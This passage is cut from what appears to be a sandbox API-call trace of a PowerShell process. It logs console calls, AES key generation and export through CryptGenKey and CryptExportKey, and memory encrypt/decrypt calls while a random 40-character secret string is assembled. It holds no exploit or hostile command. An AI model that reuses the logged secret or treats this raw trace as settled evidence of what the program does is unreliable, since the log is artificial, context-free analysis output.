lpCs=0x5a2e384) returned 0 [0213.801] GetConsoleOutputCP () returned 0x1b5 [0213.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0213.801] GetConsoleOutputCP () returned 0x1b5 [0213.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0213.801] GetConsoleOutputCP () returned 0x1b5 [0213.801] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0213.802] GetConsoleOutputCP () returned 0x1b5 [0213.802] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0213.802] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e44c | out: lpConsoleScreenBufferInfo=0x5a2e44c) returned 1 [0213.803] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0213.803] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23e4f84*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x23e4f84*, lpNumberOfCharsWritten=0x5a2e438*=0x4f) returned 1 [0213.804] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0213.805] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e438*=0x2) returned 1 [0213.808] EtwEventActivityIdControl () returned 0x0 [0213.808] EtwEventActivityIdControl () returned 0x0 [0213.809] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0213.810] EtwEventActivityIdControl () returned 0x0 [0213.810] EtwEventActivityIdControl () returned 0x0 [0213.810] EtwEventActivityIdControl () returned 0x0 [0213.813] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0213.851] EtwEventActivityIdControl () returned 0x0 [0213.851] EtwEventActivityIdControl () returned 0x0 [0213.851] EtwEventActivityIdControl () returned 0x0 [0213.854] CryptAcquireContextW (in: phProv=0x5a2e400, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e400*=0x5c4d210) returned 1 [0213.857] CryptGenKey (in: hProv=0x5c4d210, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e840 | out: phKey=0x5a2e840*=0x5c694c0) returned 1 [0213.857] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0213.857] CryptExportKey (in: hKey=0x5c694c0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e82c | out: pbData=0x0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0213.857] CryptExportKey (in: hKey=0x5c694c0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23ecab0, pdwDataLen=0x5a2e82c | out: pbData=0x23ecab0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0213.858] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e3f8, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0213.858] EtwEventActivityIdControl () returned 0x0 [0213.858] EtwEventActivityIdControl () returned 0x0 [0213.858] EtwEventActivityIdControl () returned 0x0 [0213.860] SysStringLen (param_1="") returned 0x8 [0213.860] SysStringLen (param_1="8") returned 0x8 [0213.860] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.860] SysStringLen (param_1="㮳ፀ똿⃍诒蔿ⶻ") returned 0x8 [0213.860] SysStringLen (param_1="㮳ፀ똿⃍诒蔿ⶻ") returned 0x8 [0213.860] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.860] SysStringLen (param_1="8n") returned 0x8 [0213.860] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.860] SysStringLen (param_1="뱭쎺㗵淩쮦嗫혇") returned 0x8 [0213.860] SysStringLen (param_1="뱭쎺㗵淩쮦嗫혇") returned 0x8 [0213.860] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.860] SysStringLen (param_1="8nT") returned 0x8 [0213.860] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.861] SysStringLen (param_1="廹稅쥏᪑\ㄚ눲⊢) returned 0x8 [0213.861] SysStringLen (param_1="廹稅쥏᪑\ㄚ눲⊢) returned 0x8 [0213.861] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.861] SysStringLen (param_1="8nTu") returned 0x8 [0213.861] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.861] SysStringLen (param_1="抱瞾끏曋藕ޫ") returned 0x8 [0213.861] SysStringLen (param_1="抱瞾끏曋藕ޫ") returned 0x8 [0213.861] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.861] SysStringLen (param_1="8nTu9") returned 0x8 [0213.861] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.861] SysStringLen (param_1="\ო늽눬쥿႑⋭) returned 0x8 [0213.861] SysStringLen (param_1="\ო늽눬쥿႑⋭) returned 0x8 [0213.862] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.862] SysStringLen (param_1="8nTu9o") returned 0x8 [0213.862] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.862] SysStringLen (param_1="㞛풖갈꤭\䓚딯⊖) returned 0x8 [0213.862] SysStringLen (param_1="㞛풖갈꤭\䓚딯⊖) returned 0x8 [0213.862] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.862] SysStringLen (param_1="8nTu9oW") returned 0x8 [0213.862] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.862] SysStringLen (param_1="㬡쬀䆰쭏츄熾ꎖɎ") returned 0x8 [0213.862] SysStringLen (param_1="㬡쬀䆰쭏츄熾ꎖɎ") returned 0x8 [0213.862] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.862] SysStringLen (param_1="8nTu9oW3") returned 0x8 [0213.862] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.862] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊") returned 0x8 [0213.863] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊") returned 0x8 [0213.863] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊") returned 0x8 [0213.864] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊") returned 0x10 [0213.864] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.864] SysStringLen (param_1="8nTu9oW36嬯熖㳟笤鷚돱") returned 0x10 [0213.864] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.864] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊趑鵙⪠䣬屘䴟癩簯") returned 0x10 [0213.864] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊趑鵙⪠䣬屘䴟癩簯") returned 0x10 [0213.864] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.864] SysStringLen (param_1="8nTu9oW360嬯熖㳟笤鷚돱") returned 0x10 [0213.864] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.864] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊镞Ｇ艾탃⵭䜝籷妾") returned 0x10 [0213.864] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊镞Ｇ艾탃⵭䜝籷妾") returned 0x10 [0213.864] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.864] SysStringLen (param_1="8nTu9oW360w熖㳟笤鷚돱") returned 0x10 [0213.864] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.864] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊㻁￑⹙㙛캆⃤횞") returned 0x10 [0213.865] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊㻁￑⹙㙛캆⃤횞") returned 0x10 [0213.865] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.865] SysStringLen (param_1="8nTu9oW360w0㳟笤鷚돱") returned 0x10 [0213.865] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.865] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊䷼쳡훹ꨚ᳕聎࣋") returned 0x10 [0213.865] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊䷼쳡훹ꨚ᳕聎࣋") returned 0x10 [0213.865] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.865] SysStringLen (param_1="8nTu9oW360w0X笤鷚돱") returned 0x10 [0213.865] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.866] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊\郜蛝䴛寫햦∎) returned 0x10 [0213.866] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊\郜蛝䴛寫햦∎) returned 0x10 [0213.866] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.866] SysStringLen (param_1="8nTu9oW360w0Xt鷚돱") returned 0x10 [0213.866] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.866] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊ᆡ먣防䯙ᩨ㒸Έ榹") returned 0x10 [0213.866] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊ᆡ먣防䯙ᩨ㒸Έ榹") returned 0x10 [0213.866] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.866] SysStringLen (param_1="8nTu9oW360w0XtT돱") returned 0x10 [0213.866] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.867] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊쁊鸤㻪⨺") returned 0x10 [0213.867] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊쁊鸤㻪⨺") returned 0x10 [0213.867] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.867] SysStringLen (param_1="8nTu9oW360w0XtT3") returned 0x10 [0213.867] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.867] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑") returned 0x10 [0213.867] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑") returned 0x10 [0213.867] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑") returned 0x10 [0213.868] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑") returned 0x18 [0213.868] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.868] SysStringLen (param_1="8nTu9oW360w0XtT3Bꪗ쁿리맕겾ⵢ⏾") returned 0x18 [0213.868] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.868] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑﾿砘䊜誠ﺉ䜓븴") returned 0x18 [0213.868] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑﾿砘䊜誠ﺉ䜓븴") returned 0x18 [0213.868] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.868] SysStringLen (param_1="8nTu9oW360w0XtT3B7쁿리맕겾ⵢ⏾") returned 0x18 [0213.868] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.868] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑揔蚄땙⮰낶鄊㯧") returned 0x18 [0213.868] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑揔蚄땙⮰낶鄊㯧") returned 0x18 [0213.869] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.869] SysStringLen (param_1="8nTu9oW360w0XtT3B7u리맕겾ⵢ⏾") returned 0x18 [0213.869] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.869] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑⋺魆၀䤫ᚑ⫖㚝") returned 0x18 [0213.869] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑⋺魆၀䤫ᚑ⫖㚝") returned 0x18 [0213.869] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.869] SysStringLen (param_1="8nTu9oW360w0XtT3B7us맕겾ⵢ⏾") returned 0x18 [0213.869] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.869] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑䤩䄫瀯ᖗ卺预⋹ȣ") returned 0x18 [0213.869] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑䤩䄫瀯ᖗ卺预⋹ȣ") returned 0x18 [0213.869] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.870] SysStringLen (param_1="8nTu9oW360w0XtT3B7usC겾ⵢ⏾") returned 0x18 [0213.870] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.870] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑牰ﱹ뽛횬欢憦㊕唇") returned 0x18 [0213.870] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑牰ﱹ뽛횬欢憦㊕唇") returned 0x18 [0213.870] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.870] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGⵢ⏾") returned 0x18 [0213.870] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.870] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑牛\叙属砀昀搀搀愀戀ꕽ嚥깨≼) returned 0x18 [0213.870] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑牛\叙属砀昀搀搀愀戀ꕽ嚥깨≼) returned 0x18 [0213.870] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.870] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl⏾") returned 0x18 [0213.870] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.871] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑죀磊㐣巀뚈獯䈹") returned 0x18 [0213.871] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑죀磊㐣巀뚈獯䈹") returned 0x18 [0213.871] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.871] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1") returned 0x18 [0213.871] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.871] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴") returned 0x18 [0213.871] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴") returned 0x18 [0213.871] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴") returned 0x18 [0213.872] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴") returned 0x20 [0213.872] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.872] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F̫䢂깴⫲彏") returned 0x20 [0213.872] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.872] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴챧䗩뼐脤ᜒ軭䏴\⋝) returned 0x20 [0213.872] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴챧䗩뼐脤ᜒ軭䏴\⋝) returned 0x20 [0213.872] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.872] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F6䢂깴⫲彏") returned 0x20 [0213.872] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.872] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴\쇛⬬猋♟챶껑∩) returned 0x20 [0213.873] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴\쇛⬬猋♟챶껑∩) returned 0x20 [0213.873] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.873] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F63䢂깴⫲彏") returned 0x20 [0213.873] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.873] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴䖎㓜\﫾휘⧭⊉) returned 0x20 [0213.873] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴䖎㓜\﫾휘⧭⊉) returned 0x20 [0213.873] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.873] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F63M깴⫲彏") returned 0x20 [0213.873] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.875] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴ﳉ豹鷃龔Ỉ墘鼇") returned 0x20 [0213.875] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴ﳉ豹鷃龔Ỉ墘鼇") returned 0x20 [0213.875] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.875] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F63M4깴⫲彏") returned 0x20 [0213.875] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.875] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴᣹⃨飀㩇Ⓝ﵌⧯戶") returned 0x20 [0213.875] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴᣹⃨飀㩇Ⓝ﵌⧯戶") returned 0x20 [0213.875] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.875] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F63M4c⫲彏") returned 0x20 [0213.875] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.876] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴쐂숔㷧쬤᫥ϖꦃ稥") returned 0x20 [0213.876] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴쐂숔㷧쬤᫥ϖꦃ稥") returned 0x20 [0213.876] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.876] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F63M4co彏") returned 0x20 [0213.876] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.876] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴ᰎ轀졋㐋阒䦍쎹") returned 0x20 [0213.876] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴ᰎ轀졋㐋阒䦍쎹") returned 0x20 [0213.876] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.877] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F63M4coI") returned 0x20 [0213.877] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.877] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰") returned 0x20 [0213.877] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰") returned 0x20 [0213.877] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰") returned 0x20 [0213.877] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰") returned 0x28 [0213.877] SystemFunction041 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.878] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F63M4coIZ綈늆騣ᖄY쩿ꦋ") returned 0x28 [0213.878] SystemFunction040 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.878] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰䟍趆좉皓쎶Ⱋ￟貿") returned 0x28 [0213.878] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰䟍趆좉皓쎶Ⱋ￟貿") returned 0x28 [0213.878] SystemFunction041 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.878] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F63M4coIZ9늆騣ᖄY쩿ꦋ") returned 0x28 [0213.878] SystemFunction040 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.878] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰쿉흽蠱뗭즖ट") returned 0x28 [0213.878] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰쿉흽蠱뗭즖ट") returned 0x28 [0213.878] SystemFunction041 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.878] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F63M4coIZ9e騣ᖄY쩿ꦋ") returned 0x28 [0213.878] SystemFunction040 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.878] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰熐ヽ䫋縁▣釛朿꣬") returned 0x28 [0213.878] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰熐ヽ䫋縁▣釛朿꣬") returned 0x28 [0213.878] SystemFunction041 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.879] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F63M4coIZ9e3ᖄY쩿ꦋ") returned 0x28 [0213.879] SystemFunction040 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.879] SysStringLen 